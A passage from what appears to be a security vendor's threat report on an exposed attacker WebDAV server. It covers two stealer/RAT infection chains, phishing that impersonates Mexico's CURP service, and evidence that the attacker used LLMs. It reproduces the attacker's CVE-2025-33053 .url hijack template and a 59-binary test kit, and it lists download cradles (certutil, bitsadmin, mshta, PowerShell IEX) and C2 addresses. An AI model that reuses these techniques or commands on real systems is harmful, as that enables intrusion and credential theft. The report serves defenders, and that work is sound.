WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and 